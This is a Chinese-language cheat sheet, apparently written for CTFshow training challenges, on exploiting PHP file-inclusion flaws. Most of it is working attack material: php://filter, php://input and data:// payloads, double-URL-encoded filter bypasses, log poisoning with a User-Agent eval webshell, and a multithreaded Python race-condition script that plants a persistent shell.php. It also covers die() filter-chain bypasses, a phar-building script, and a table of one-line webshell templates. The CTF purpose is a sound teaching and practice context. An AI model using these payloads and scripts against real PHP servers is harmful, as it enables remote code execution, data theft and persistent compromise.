一、基础概念

常见文件包含函数

  include()        — 遇到错误生成警告,继续执行
  require()        — 遇到错误生成致命错误,脚本终止
  include_once()   — 同 include,但已包含的文件不再重复包含
  require_once()   — 同 require,但已包含的文件不再重复包含
  file_get_contents() — 读取文件内容到字符串
  fopen() / readfile() — 文件打开/读取输出

利用前提

  php://input: allow_url_include = On
  data://:       allow_url_fopen = On + allow_url_include = On
  远程文件包含:   allow_url_fopen = On

二、第一原则 — 先探测,再攻击

选一个参数测试,按顺序检查:

1. 直接包含

?file=flag.php
?file=/etc/passwd
?file=../../../../../etc/passwd

2. 观察三要素

- 是否拼接后缀(如 .php) → 考虑截断/伪协议
- 是否替换/过滤关键字(php / data / : / . / < 等)
- 是否有死亡函数 die()

三、无过滤场景:直接读源码 / 执行命令

3.1 php://filter 读文件

?file=php://filter/read=convert.base64-encode/resource=flag.php
?file=php://filter/convert.iconv.utf8.utf16/resource=flag.php

解码 Base64 得源码。适用于 include()、file_get_contents()、readfile()、file()。

3.2 php://input 执行命令(需 allow_url_include=On)

GET: ?file=php://input
POST: <?php system('cat flag.php');?>

3.3 data:// 执行命令(需 allow_url_include=On)

不编码:

?file=data://text/plain,<?php system('ls');?>
?file=data://text/plain,<?=system('tac flag.php');?>

Base64 编码:

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmlsZS5waHAnKTs/Pg==

四、关键字过滤绕过 — 一张表速查

过滤内容

绕过方式

php

大小写 pHp(协议名可绕过);二次编码 %2570%2568%2570

data

大小写 Data;二次编码

:

二次编码 %253A;日志包含(绕过路径中的 :)

.

二次编码 %252e;容器特性 %c0%ae(Java Tomcat);日志/Session 包含(无点号路径)

/

二次编码 %252f;容器特性 %c0%af

<

data 协议 base64 编码 payload

()、=

使用无括号的 <?=...?>;或 base64 编码后在 data 协议中执行

..

%2e%2e%2f、..%2f、..%c0%af、%252e%252e%252f

多关键字联合 | 统一用双重 URL 编码

双重 URL 编码公式:

对整串 php://filter/write=.../resource=shell.php 做两次 urlencode

每一次编码:字母不变(除非手动),: → %3A,. → %2E,/ → %2F,| → %7C

两次后:: → %253A,. → %252E,/ → %252F,| → %257C

五、日志包含 Getshell(绕过点号/协议/死亡函数限制)

5.1 确认中间件

?file=/etc/passwd
?file=/var/log/nginx/access.log

5.2 日志路径速查

Nginx:      /var/log/nginx/access.log、/var/log/nginx/error.log
Apache:     /var/log/apache2/access.log、/etc/httpd/logs/access_log、/var/log/httpd/access_log
Apache+Win: D:\xampp\apache\logs\access.log
IIS:        C:\WINDOWS\system32\Logfiles

5.3 攻击流程

  Step 1 — 在 User-Agent 插入一句话
      User-Agent: <?php @eval($_REQUEST['cmd']);?>

  Step 2 — 包含日志文件
      ?file=/var/log/nginx/access.log

  Step 3 — 传递命令
      cmd=system('tac fl0g.php');

六、Session 条件竞争 Getshell(极端过滤下的大杀器)

6.1 原理

PHP 默认 session.upload_progress.enabled = On,上传文件时会在

/tmp/sess_<PHPSESSID> 写入进度数据。通过条件竞争,在服务器清理前抢包含。

6.2 Session 文件路径

/tmp/sess_PHPSESSID

/var/lib/php/sess_PHPSESSID

/tmp/sessions/sess_PHPSESSID

6.3 方法一:Burp 双线程攻击

上传线程(30 线程,无限重放):

POST / HTTP/1.1
Cookie: PHPSESSID=exp
Content-Type: multipart/form-data; boundary=...
--boundary
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
<?php system('ls');?>
--boundary
Content-Disposition: form-data; name="file"; filename="test.txt"
AAAAA...
--boundary--

访问线程(80 线程 > 上传线程数,无限重放):

GET /?file=/tmp/sess_exp HTTP/1.1

6.4 方法二:Python 脚本模板


import io, requests, threading

sessid = 'mysess'
data = {1: "system('cat fl0g.php');"}
url = 'http://目标地址/'

def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(url,
                     data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[1]);?>'},
                     files={'file': ('test.txt', f)},
                     cookies={'PHPSESSID': sessid})

def read(session):
    while True:
        resp = session.post(url + '?file=/tmp/sess_' + sessid, data=data)
        if '成功标识' in resp.text:
            print(resp.text)
            return

  with requests.session() as session:
      for i in range(30):
          threading.Thread(target=write, args=(session,)).start()
      for i in range(30):
          threading.Thread(target=read, args=(session,)).start()

6.5 进阶:先写入 webshell 再连接蚁剑

把 read 函数的 data 改为:

data = {"1": "file_put_contents('/var/www/html/shell.php','<?php eval($_POST[3]);?>');"}

6.6 注意事项

- session_destroy() / session_unset() / rm -rf /tmp/* 对条件竞争影响不大

- 访问线程数必须大于上传线程数

- 观察 HTTP 响应长度/状态码的异常包来判断竞争成功

七、绕过死亡函数 <?php die('...');?>

7.1 场景特征

代码形如:

file_put_contents($file, "<?php die('大佬别秀了');?>".$content);

核心思想:让前缀 <?php die(...);?> 在流处理中失效,

同时让我们的 payload 恢复为有效 PHP 代码。

7.2 方法一:convert.base64-decode(最推荐)

原理:base64_decode 跳过非 Base64 字符,<?php die(...);?> 中

只有字母保留(产生乱码),我们的 payload 用纯 Base64 + 填充字符对齐。

file 参数(双重 URL 编码):

?file=%2570%2568%2570%253A%252F%252F%2566%2569%256C%2574%2565%2572%252F%2577%2572%2569%2574%2565%253D%2563%256F%256E%2576%2565%2572%2574%252E%2562%2561%2573%2565%2536%2534%252D%2564%2565%2563%256F%2564%2565%252F%2572%2565%2573%256F%2575%2572%2563%2565%253D%2573%2568%2565%256C%256C%252E%2570%2568%2570

POST: content=aaPD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg==

(aa 为填充,后面是 <?php system('cat f*');?> 的 Base64)

7.3 方法二:string.strip_tags | convert.base64-decode

原理:strip_tags 先移除整个 <?php ... ?> 标签,剩下纯文本被 base64-decode 忽略。

file 参数(双重 URL 编码):

php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php

POST: content=PD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg==

(不需要填充 aa)

注意:string.strip_tags 已弃用但不影响做题。

7.4 方法三:convert.iconv.UCS-2LE.UCS-2BE

原理:每 2 字节交换位置,打乱前缀 die(),同时我们预交换 payload 使其复原。

先计算交换后的 payload:

<?php $re = iconv("UCS-2LE","UCS-2BE", '<?php @eval($_GET[1]);?>');
echo $re;  // 输出类似 ?<hp pe@av(l_$EG[T]1;)>? ?>

file 参数(双重 URL 编码):

php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=hack.php

POST: contents=?<hp pe@av(l_$EG[T]1;)>?

(前面可能需要补 a 调整奇偶对齐)

八、zip:// / phar:// 压缩包包含

8.1 条件

PHP 5.3.0+,无扩展名限制 — .jpg 后缀也能被当作压缩包解压。

8.2 方法

制作压缩包,包含 test.txt:<?php phpinfo();?>,压缩为 shell.zip 或 shell.jpg

包含方式(phar:// 推荐,支持相对路径):

?file=phar://shell.jpg/test.txt

?file=phar://./upload/shell.jpg/test.txt

包含方式(zip://):

?file=zip:///绝对路径/shell.jpg%23test.txt(# 需编码为 %23)

8.3 生成 phar 文件脚本

<?php
  @unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->addFromString("test.txt", "<?php phpinfo();?>");
$phar->stopBuffering();
?>

需要 php.exe 运行,且 php.ini 中 phar.readonly = Off

九、其他包含技巧

9.1 /proc/self/environ 包含

条件:PHP 以 CGI 方式运行,/proc/self/environ 可读

Step 1: 在 User-Agent 插入 <?php system('ls');?>

Step 2: 访问 ?file=/proc/self/environ

9.2 路径截断

PHP < 5.3.4,magic_quotes_gpc = Off

%00 截断(拼接后缀时):?file=../../../etc/passwd%00

长路径截断:Windows 最大 256 字节,Linux 最大 4096 字节,超出丢弃

十、实战解题流程图

1. 直接包含测试

?file=flag.php
?file=/etc/passwd

2. 识别过滤规则

是否替换/拦截了:

php / data / : / . /( ) / = / < / ?

3.

无/轻过滤

中度过滤

极度过滤

php://filter

data://

php://input

直接拿下flag

(. : php 被替换但可用双重编码)

双重编码 → 读/写绕过

(. : php data ()= 全拦截)

日志包含

Session竞争

zip:///phar://

4. 有死亡函数 die()?

file_put_contents(...,     
"<?php die();?>".$content) 

5.

base64-decode+ 填充对齐

strip_tags+ base64

UCS-2LE→BE两字节交换

6. 根据 flag 文件名读取

ls / cat / tac / nl

空格用 %20 或直接用 f*

十一、常用命令与 Payload 速查

文件操作命令:

ls               — 列出当前目录
ls /             — 查看根目录
cat fl0g.php     — 读取文件
tac fl0g.php     — 倒序读取(绕过头部限制)
nl fl0g.php      — 带行号显示
more fl0g.php    — 分页查看
head fl0g.php    — 查看头部
tail fl0g.php    — 查看尾部

一句话木马模板:

<?php @eval($_GET['cmd']);?>         — GET 传参
<?php @eval($_POST[1]);?>            — POST 传参
<?php @eval($_REQUEST['cmd']);?>     — REQUEST 传参(日志包含推荐)
<?php system('cat f*');?>            — system 直接执行
<?=system('ls');?>                   — 短标签(不用括号)

十二、CTFshow web入门题目类型

web78: php://filter/base64 直接读

web79: 替换 php → 大小写 pHp 或 php://input 或 data://

web80: 替换 php+data → php://input (BP传POST) 或日志包含

web81: 替换 php+data+: → 日志包含

web82: 替换 php+data+:. → Session 条件竞争

web83: 新增 session_destroy → 脚本/日志包含(不受影响)

web84: 新增 rm -rf /tmp/* → 脚本竞争(不受影响)

web85: 新增 < 过滤 → 脚本竞争(不受影响)

web86: set_include_path → 脚本竞争(完整路径不受影响)

web87: file_put_contents + die() → 三种流绕过方法

web88: 正则过滤大量字符 → data:// 或日志包含

web116: 视频文件藏 PNG → 010 Editor 提取

web117: 过滤 base64/rot13/string → UCS-2LE.BE 交换绕过

更多推荐